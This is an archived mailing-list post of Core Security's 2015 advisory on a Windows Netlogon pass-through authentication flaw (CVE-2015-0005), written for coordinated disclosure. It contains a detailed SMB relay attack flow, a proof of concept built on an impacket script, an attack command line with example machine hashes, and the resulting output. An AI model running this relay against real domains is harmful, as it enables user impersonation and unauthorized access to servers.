lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  PHC 
Open Source and information security mailing list archives
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 10 Mar 2015 15:09:23 -0300
From: CORE Advisories Team <>
To: <>, <>
Subject: [FD] [CORE-2015-0005] - Windows Pass-Through Authentication Methods
 Improper Validation

Core Security - Corelabs Advisory

	Windows Pass-Through Authentication Methods Improper Validation

1. *Advisory Information*

	Title: Windows Pass-Through Authentication Methods Improper Validation
	Advisory ID: CORE-2015-0005
	Advisory URL:
	Date published: 2015-03-10
	Date of last update: 2015-03-10
	Vendors contacted: Microsoft
	Release mode: Coordinated release

2. *Vulnerability Information*

	Class: Permissions, Privileges, and Access Controls [CWE-264], Improper Authentication [CWE-287]
	Impact: Security bypass
	Remotely Exploitable: Yes
	Locally Exploitable: No
	CVE Name: CVE-2015-0005

3. *Vulnerability Description*

	The Microsoft [1] Netlogon Remote Protocol is a remote procedure call (RPC) interface that is used, among other 
	things, for user and machine authentication on domain-based networks.

	In a scenario where a client machine connects to a domain-joined server, a pass-through authentication
	[2] must be performed in order for the server to verify the client's Credentials with the domain controller. This logon
	request must be delivered to the domain controller over a secure channel. This secure channel is achieved by encrypting
	the server to DC communication using a shared secret, commonly known as a server's machine account password.

	On successful authentication, the domain controller returns the UserSessionKey back to the server. This key is used for
	cryptographic operations on a session. Examples of the use of this key are generating the keys needed to signing SMB
	packets, and the keys needed for encryption/decryption of SMB sessions.

	Improper validation between the account used to secure the communication channel and the logon request data being
	sent to the domain controller allows third parties to obtain the UserSessionKey for communications that were not
	meant for them.

	At minimum this allows an attacker to:

	1) Perform SMB Relay attacks on domain environments where SMB Signing is enforced (workaround exists).

	2) Decrypt SMB3 sniffed communications (PoC not provided).

	Other venues of attack should be researched.

4. *Vulnerable Packages*

   . Windows Server 2003 Service Pack 2
   . Windows Server 2003 x64 Edition Service Pack 2
   . Windows Server 2003 with SP2 for Itanium-based Systems
   . Windows Server 2008 for 32-bit Systems with Service Pack 2
   . Windows Server 2008 for x64-based Systems with Service Pack 2
   . Windows Server 2008 for Itanium-based Systems Service Pack 2
   . Windows Server 2008 R2 for x64-based Systems Service Pack 1
   . Windows Server 2008 R2 for Itanium-based Systems Service Pack 1
   . Windows Server 2012
   . Windows Server 2012 R2 
   . Windows Server 2008 for 32-bit Systems Service Pack 2 (Server Core installation)
   . Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)
   . Windows Server 2008 R2 for x64-based Systems Service Pack 1 (Server Core installation)
   . Windows Server 2012 (Server Core installation)
   . Windows Server 2012 R2 (Server Core installation)

	Versions or editions that are not listed are either past their support life cycle or are not affected.

5. *Vendor Information, Solutions and Workarounds*

	Based on Core Security's analysis, SPN validation could be a good countermeasure, but it depends on the type of
	MiTM mounted. It is worth mentioning, this attack only applies on a domain environment. Standalone servers are not
	prone to this type of attack if SMB signing is enabled.

	Microsoft posted the following Security Bulletin: [21]

6. *Credits*

	This vulnerability was discovered and researched by Alberto Solino from the Core Engeneering Team. The publication of
	this advisory was coordinated by Joaquín Rodríguez Varela from the Core Advisories Team.

7. *Technical Description / Proof of Concept Code*

	Pass-Through Authentication allows a domain-joined server machine to authenticate a domain user by forwarding the
	authentication material to the domain controller aiming at receiving a confirmation of the validity of those 
	credentials, among with several	information about the account trying to log in that allows the server machine to
	establish a session and serve resources to that user. In order to send and receive this information (through the 
	NETLOGON [3] protocol), a secure channel must be established between the domain-joined server and the domain 
	controller. This secure channel is built on top of a shared secret between the server and the DC, commonly known
	as a server's machine account password. Actually, the shared secret is not based on the	server's machine account
	password but on the output of the LMOWFv1/NTOWFv1 [4] functions (a.k.a NTLM hashes).

	Once this channel is secured, the following NETLOGON methods are used for a Pass-Through Authentication:

	1) NetrLogonSamLogonEx

	2) NetrLogonSamLogonWithFlags

	3) NetrLogonSamLogon

	4) NetrLogonSamLogoff

	Let's take for example, the sequence of authenticating through the network a domain user against a domain-joined
	server, using the NTLM authentication package. The domain is called 2012R2:

	1) Client MACHINE-A wants to connect to domain-joined WINDOWS81 machine, with user 2012R2\USER3, using NTLM.

	2) Client MACHINE-A initiates a connection to WINDOWS81, port 445. NTLM protocol is chosen as the authentication

	3) The NTLM 3-way handshake begins [5]. This ends up with a NTLM_AUTHENTICATE packet sent by MACHINE-A to WINDOWS81.

	4) Since WINDOWS81 doesn't have the credentials for 2012R2\USER3, it needs to verify them with the DC.

	5) WINDOWS81 has a trust relationship with the DC by means of WINDOWS81's computer account (let's call it
	WINDOWS81$). Using the NETLOGON	protocol, WINDOWS81 calls NetrLogonSamLogonWithFlags() at the DC, specifying 
	all the data coming from USER3's NTLM_AUTHENTICATE plus the NTLM Challenge set in previous packets. An example of
	such call is as follows:


      LogonServer:                     u'\x00' 
      ComputerName:                    u'WINDOWS81\x00' 
              Data:                            'f\xcd\x94]&\nz\x85' 
          Timestamp:                       10 
        Data:                            '\x00\x00\x00\x00\x00\x00\x00\x00' 
          Timestamp:                       0 
      LogonLevel:                      NetlogonNetworkTransitiveInformation 
          tag:                             6 
                  LogonDomainName:                 u'2012R2' 
                  ParameterControl:                0 
                      LowPart:                         0 
                      HighPart:                        0 
                  UserName:                        u'user3' 
                  Workstation:                     u'' 
                  Data:                            '\x1a\xab8\xa4.E\x98\xe3' 
              NtChallengeResponse:             '\xd9\x94"\xd1C\xd9CT\xa3\x12\xac(\x97\xb2=\xd4\x01\x01\x00\x00\x00\x00\x00\x00N\x8b\xb3N\x1f\xc6\xcf
      \x00\x07\x00\x08\x00N\x8b\xb3N\x1f\xc6\xcf\x01\x06\x00\x04\x00\x02\x00\x00\x00\x08\x000\x000\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00 \x00
              LmChallengeResponse:             '\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' 
      ValidationLevel:                 NetlogonValidationSamInfo4 
      ExtraFlags:                      0 

	6) DC receives the information, and since it has USER3 credentials, it can verify whether or not the credentials
	are valid. NetrLogonSamLogonWithFlags()	returns STATUS_SUCCESS if so, otherwise it return an error.

	7) If NetrLogonSamLogonWithFlags() SUCCEEDS, the server returns a NETLOGON_VALIDATION structure, which could end 
	up being one of the following structures:




	The data inside those structures are needed by WINDOWS81 to further continue the session and share resources with USER3.

	An example of the data returned by NetrLogonSamLogonWithFlags() is shown below:


              Data:                            '[\\\x85\xf2\x84@~\x17' 
          Timestamp:                       0 
          tag:                             6 
                  LowPart:                         4069189522 
                  HighPart:                        30393876 
                  LowPart:                         4294967295 
                  HighPart:                        2147483647 
                  LowPart:                         4294967295 
                  HighPart:                        2147483647 
                  LowPart:                         738500373 
                  HighPart:                        30393272 
                  LowPart:                         1450073877 
                  HighPart:                        30393473 
                  LowPart:                         4294967295 
                  HighPart:                        2147483647 
              EffectiveName:                   u'user3' 
              FullName:                        NULL 
              LogonScript:                     NULL 
              ProfilePath:                     NULL 
              HomeDirectory:                   NULL 
              HomeDirectoryDrive:              NULL 
              LogonCount:                      5 
              BadPasswordCount:                0 
              UserId:                          1113 
              PrimaryGroupId:                  513 
              GroupCount:                      2 
                      RelativeId:                      512 
                      Attributes:                      7 ,
                      RelativeId:                      513 
                      Attributes:                      7 ,
              UserFlags:                       2336 
                  Data:                            '\xb1\x8eg\x91\xfdK\x9d\xd0\x12\x8b\x9f\x9e\x8e\x19\xe9"' 
              LogonServer:                     u'2012R2DOMAIN-DC' 
              LogonDomainName:                 u'2012R2' 
                  Revision:                        1 
                  SubAuthorityCount:               4 
                  IdentifierAuthority:             '\x00\x00\x00\x00\x00\x05' 
              LMKey:                           '\xb1\x8eg\x91\xfdK\x9d\xd0' 
              UserAccountControl:              528 
              SubAuthStatus:                   0 
                  LowPart:                         0  
                  HighPart:                        0 
                  LowPart:                         0 
                  HighPart:                        0 
              FailedILogonCount:               0 
              Reserved4:                       0 
              SidCount:                        1 
                          Revision:                        1 
                          SubAuthorityCount:               5 
                          IdentifierAuthority:             '\x00\x00\x00\x00\x00\x05' 
                      Attributes:                      536870919 ,
              DnsLogonDomainName:              u'2012R2.DOMAIN' 
              Upn:                             u'user3@...2R2.DOMAIN' 
              ExpansionString1:                NULL 
              ExpansionString2:                NULL 
              ExpansionString3:                NULL 
              ExpansionString4:                NULL 
              ExpansionString5:                NULL 
              ExpansionString6:                NULL 
              ExpansionString7:                NULL 
              ExpansionString8:                NULL 
              ExpansionString9:                NULL 
              ExpansionString10:               NULL 
      Authoritative:                   1 
      ExtraFlags:                      0 
      ErrorCode:                       0 

	As can be seen, there's a field called UserSessionKey. According to [9]:

	The NETLOGON_NETWORK_INFO and NETLOGON_VALIDATION_SAM_INFO4 data structures SHOULD be exchanged ([MS-NRPC] sections and The DC MUST populate the NETLOGON_VALIDATION_SAM_INFO4 with the information for the user
	logging on and return the SessionBaseKey ([MS-NLMP] section 3.3.1 and 3.3.2) in the UserSessionKey field in
	NETLOGON_VALIDATION_SAM_INFO4, and MUST send it back to the NTLM server. If no matching	account is found, an error
	STATUS_NO_SUCH_USER (section 2.2) MUST be returned to the NTLM server, resulting in a logon failure.'

	This SessionBaseKey is used as a base key for cryptographic operations between the client and server machine.
	Since the calculation of this key requires knowing the user's LMOWFv1/NTOWFv1, it makes sense the domain controller
	returning this data, since WINDOWS81 doesn't have the user's credentials.

	The SessionBaseKey is used, at least, to calculate the SMB Signing [10] and Encryption [11] keys.

	Up to this stage, this is the normal behavior when a server needs to authenticate a client with domain credentials.

	Based on [13] the NetrLogonSamLogonWithFlags's ComputerName parameter is defined as 'The Unicode string that
	contains the NetBIOS name of the client computer calling this method.' In theory, the ComputerName parameter and
	the machine account that established the NETLOGON session should be the same (except for the '$' sign).

	What we found while implementing the NETLOGON protocol [12] is the domain controller not verifying whether the
	authentication information being sent, was actually meant to the domain-joined machine that is requesting
	this operation (e.g. NetrLogonSamLogonWithFlags()).

	What this means is that any domain-joined machine can verify any pass-through authentication against the domain
	controller, and to get the base	key for cryptographic operations for any session within the domain.

	As a proof of concept we developed the SMB Relay attack whenever SMB Signing is enforced within the domain.

	SMB Relay (actually NTLM Relay) has been well documented over the years, but in essence allows an attacker 
	that manages to sit in the middle between a victim and a target server to impersonate the victim against the
	target server.

	One of the mitigations mentioned on several papers is the implementation of SMB Signing [14][15], since, in
	order to calculate the signing key, the attacker needs to have the user's password OWF (LMOWFv1 and/or NTOWFv1).

	To carry out this attack, we would need a machine account password (or NTLM hash) in order to interact
	with the domain controller through NETLOGON. Getting a machine account credential is not a complicated
	task if an attacker has either:

	1) Local Administrative access to one domain joined machine (several tools can dump the local SAM accounts [16]).

	2) A normal domain user (so it can perform a fake domain join).

	The high level flow would be as follows:


	1) We have a machine account's LMOWFv1/NTOWFv1 hashes (called MACHINE-ACCOUNT hashes).

	2) We know the DC IP address or FQDN (called DC-MACHINE).

	3) We targeted a victim user (called USER-A), tricking him into connecting to our machine 
	(ATTACKER-MACHINE) with his domain credentials.


	4) We want to authenticate ourselves with the USER-A credentials against a target machine (called TARGET-MACHINE).

	5) This domain environment enforces SMB Signing.

	The packet's flow would be like this:

	1) USER-A connects to ATTACKER-MACHINE, starts an SMB Connection.

	2) ATTACKER-MACHINE connects to TARGET-MACHINE, starts an SMB Connection, and gets TARGET-MACHINE 

	3) ATTACKER-MACHINE forwards the SMB_COM_NEGOTIATE packet back to USER-A.

	4) USER-A starts the SMB_SESSION_SETUP_ANDX procedure, sending the NTLM_NEGOTIATE packet.




	8) ATTACKER-MACHINE forwards the NTLM_AUTHENTICATE message to TARGET-MACHINE. If the answer is
	STATUS_SUCCESS, it means the credentials are valid.

	Up to here, this is a normal SMB Relay attack. The following steps are performed in order to acquire
	the SMB Signing key

	9) ATTACKER-MACHINE connects to DC-MACHINE NETLOGON's protocol, authenticating itself using

	10) ATTACKER-MACHINE calls NETLOGON's NetrLogonSamLogonWithFlags() specifying the following information:

	a. ComputerName: TARGET-MACHINE

	b. ValidationLevel: NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4

	c. LogonLevel: NETLOGON_VALIDATION_INFO_CLASS.NetlogonNetworkTransitiveInformation

	d. LogonNetworkTransitive/Identity/LogonDomainName: The domainname

	e. LogonNetworkTransitive/Identity/ParameterControl: 0

	f. LogonNetworkTransitive/Identity/UserName: USER-A

	g. LogonNetworkTransitive/Identity/Workstation: ''

	h. LogonNetworkTransitive/Identity/LmChallenge: The challenge field of the NTLM_CHALLENGE structure.

	i. LogonNetworkTransitive/Identity/NtChallengeResponse: the NtChallengeResponse from the NTLM_AUTHENTICATE structure.

	j. LogonNetworkTransitive/Identity/LmChallengeResponse: the LmChallengeResponse from the NTLM_AUTHENTICATE structure.

	11) The return of this call will contain a NETLOGON_VALIDATION_SAM_INFO4 structure, that contains, among other 
	things, the UserSessionKey. Depending on the negotiation flags, this could be the straight SMB Signing key, or 
	an extra transformation should be made (calling generateEncryptedSessionKey()).

	12) Attacker now has a valid connection with TARGET-MACHINE, authenticated as USER-A, and now has the
	SMB Signing key needed to perform further SMB commands against TARGET-MACHINE.

7.1. *Proof of Concept*

	In order to test this attack the following infrastructure is needed:

	1) A domain controller, exporting the SYSVOL share to normal users (this is just for the PoC).
	Domain Name: TESTDOMAIN, Domain IP:

	2) A domain joined machine, acting as the victim machine. A domain user must be logged on that machine.

	3) An attackers machine, doesn't need to be joined to the domain. Since we will be performing the attack from this 
	machine, we will need to bind to TCP port 445. Using a Unix machine would be the easiest way since on Windows this
	is harder. Attacker's Machine IP:

	4) A valid machine account name and NTLM hashes. Assuming it is:

	a. account name: TEST-MACHINE$

	b. NTHASH/LMHASH: aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db

	The machine NTLM hashes can be obtained by using any publicly available LSA secrets dump application.[10]

	5) The script [17] and the impacket library installed [18].

	6) Change doAttack() class to the following:

        class doAttack(Thread):
          def __init__(self, SMBClient, exeFile):
            self.SMBClient = SMBClient

          def run(self):
            # Here PUT YOUR CODE!
            from impacket.smbconnection import SMBConnection
            smbConnection = SMBConnection(existingConnection=self.SMBClient)
            files =  smbConnection.listPath('SYSVOL','\\*')
            print "EVIDENCE: SYSVOL's contents!"
            for file in files:
              print file.get_longname()


	From the attackers machine run:

      python -h -e NOTHING -machine-account TESTDOMAIN/TEST-MACHINE\$ -machine-hashes aad3b435b51404eeaad3b435b51404ee:a52b1cddfa877184bc34c39b4da137db -domain

	From the victim's machine, with a valid domain user logged in, run from the command prompt:

      dir \\\c$

	At the execution, you will see:


      Impacket v0.9.12 - Copyright 2002-2014 Core Security Technologies

      [*] Running in relay mode
      [*] Config file parsed
      [*] Setting up SMB Server
      [*] Servers started, waiting for connections
      [*] Incoming connection (,58702)
      [*] SMBD: Received connection from, attacking target
      [*] Signature is REQUIRED on the other end, using NETLOGON approach
      [*] Connecting to NETLOGON service
      [*] TESTDOMAIN\usera successfully validated through NETLOGON
      [*] SMB Signing key: 3b8aa5a6cde5175acf676ba312b62404 
      [*] Authenticating against as TESTDOMAIN\usera SUCCEED
      [!] TreeConnectAndX not found C$
      [!] TreeConnectAndX not found C$
      EVIDENCE: SYSVOL's contents! 


	If you want to perform more actions instead of just listing the SYSVOL contents, check the method 

8. *Report Timeline*

. 2014-05-27:
	Core Security sent the first notification to Microsoft, including a technical description
        and a Proof of Concept to reproduce the vulnerability. Publication date set to Jun 30, 2014.

. 2014-05-27:
        Microsoft assigns the tracking number 19179 and informs their team will be investigating
        our report.

. 2014-06-25:
	Core Security requested an update on the investigations and expressed we are still planning to release the
        advisory on June 30th.

. 2014-07-03:
	Core Security requested an update on the investigations and expressed we decided to postpone the release date
        from June 30th to July 10th giving additional time to reply back.

. 2014-07-07:
        Microsoft claims the issue has been publicly know since 2009 and the advisories
        [19] and [20].

. 2014-07-09:
        Microsoft informs that took another look to the issue and thinks there may be a bigger
        problem than just the NTLM as they previously stated. Requests to hold off the publishing
        of the advisory.

. 2014-07-15:
	Core Security insists that SMB Signing is not an effective way of mitigating this problem as
        demonstrated in the PoC sent in the original report. We inform we decided not to publish a
        advisory but we will write a blog post with the technical description.

. 2014-07-24:
	Core Security informed that we will publish the blog and related tools on August 4th, considering we didn't 
        receive a reply.

. 2014-07-28:
        Microsoft informs they were able to reproduce the issue and are working on a fix. They request
        if possible to hold off CORE Security's publication.

. 2014-08-12:
	Core Security, considering their acknowledgment of the issue, will be publishing an advisory. Core Security
	requested a tentative ETA for making the advisory public.

. 2014-08-18:
        Microsoft informs they don't have an ETA but are working to define one. Microsoft request a draft of
        the advisory.

. 2014-08-20:
	Core Security informed Microsoft that will be sending them a draft copy of the Advisory next week.

. 2014-09-11:
	Core Security sent a draf version of the advisory.

. 2014-09-23:
	Core Security requested a reception confirmation of the draft version of the advisory.

. 2014-09-24:
        Microsoft confirms reception. They inform they are tentatively scheduling a December release.

. 2014-10-23:
	Core Security requested the specific date for releasing the fix in order to schedule the advisory

. 2014-11-03:

        Microsoft informs that they are planning a January release but it could change if they find
        variants or run into issues on their test pass.

. 2014-11-05:
	Core Security requested the vendor that we would like to respect the original release date considering
        that the issue was originally reported on the 27 of May, 2014.

. 2014-11-10:
        Microsoft informs that they are expecting to ship the fix in January because they have other
        deployment priorities.

. 2014-12-16:
	Core Security requested the vendor a specific date for the release of the fix and we inform them that
        we are planning to release the advisory on Tuesday 13th of January, 2015.

. 2015-01-02:
        Microsoft informs that they are not going to meet the expectations for a fix in January because
        they require to fix the NETLOGON API, and during its application compatibility testing they
        identified a major service provider that is affected by their fix.

. 2015-02-24:
	Core Security requested the vendor an updated time frame for publishing the fix of the bug.

. 2015-02-27:
        Microsoft informs that they currently finalizing the final test pass and that they should have a
        concrete date for next week. At the moment they have it scheduled for March 10th, 2015. They
        request as well how we would lke to be credited in the Bulletin.

. 2015-03-02:
	Core Security informed them how we would like to be credited and requested them a daft copy of their 
        Bulletin and a copy of the fix in order to make internal tests.

. 2015-03-02:
        Microsoft informs us that they cannot share packages early unless we are under NDA with them and
        in the SUVP program.

. 2015-03-03:
	Core Security informed them that we were disappointed by their response considering that we have been 
        cooperating with them for more than 9 months and have disclosed higly confidential information
        with them. We informed them that we are going to publish the advisory on March 10th.

. 2015-03-09:
        Microsoft confirmed us that their Security Bulletin was going to be published March 10th, 10:00 AM EST.
	They requested Core Security to ckeck the acknowledgment they were going to use.

. 2015-03-09:
	Core Security thanked Microsoft for the information provided and informed them how the Advisory should be
	acknowledged. Core Security requested Microsoft a CVE ID, considering they are listed as a CVE Numbering 
	Authority. Core Security sent them the link of were our	advisory is going to be published.

. 2015-03-09:
        Microsoft issued the CVE-2015-0005 and ask Core Security if we wanted them to link our Advisory in their

. 2015-03-09:
	Core Security requested, that if possible, they could link our advisory in the acknowledgment.

. 2015-03-10:
        Advisory CORE-2015-0005 published.

9. *References*





10. *About CoreLabs*

      CoreLabs, the research center of Core Security, is charged with anticipating
      the future needs and requirements for information security technologies.
      We conduct our research in several important areas of computer security
      including system vulnerabilities, cyber attack planning and simulation,
      source code auditing, and cryptography. Our results include problem
      formalization, identification of vulnerabilities, novel solutions and
      prototypes for new technologies. CoreLabs regularly publishes security
      advisories, technical papers, project information and shared software
      tools for public use at:

11. *About Core Security*

      Core Security enables organizations to get ahead of threats
      with security test and measurement solutions that continuously identify
      and demonstrate real-world exposures to their most critical assets. Our
      customers can gain real visibility into their security standing, real
      validation of their security controls, and real metrics to more
      effectively secure their organizations.

      Core Security's software solutions build on over a decade of trusted
      research and leading-edge threat expertise from the company's Security
      Consulting Services, CoreLabs and Engineering groups. Core Security
      can be reached at +1 (617) 399-6980 or on the Web at:

12. *Disclaimer*

      The contents of this advisory are copyright
      (c) 2015 Core Security and (c) 2015 CoreLabs,
      and are licensed under a Creative Commons
      Attribution Non-Commercial Share-Alike 3.0 (United States) License:

13. *PGP/GPG Keys*

      This advisory has been signed with the GPG key of Core Security advisories
      team, which is available for download at

Sent through the Full Disclosure mailing list
Web Archives & RSS:

Powered by blists - more mailing lists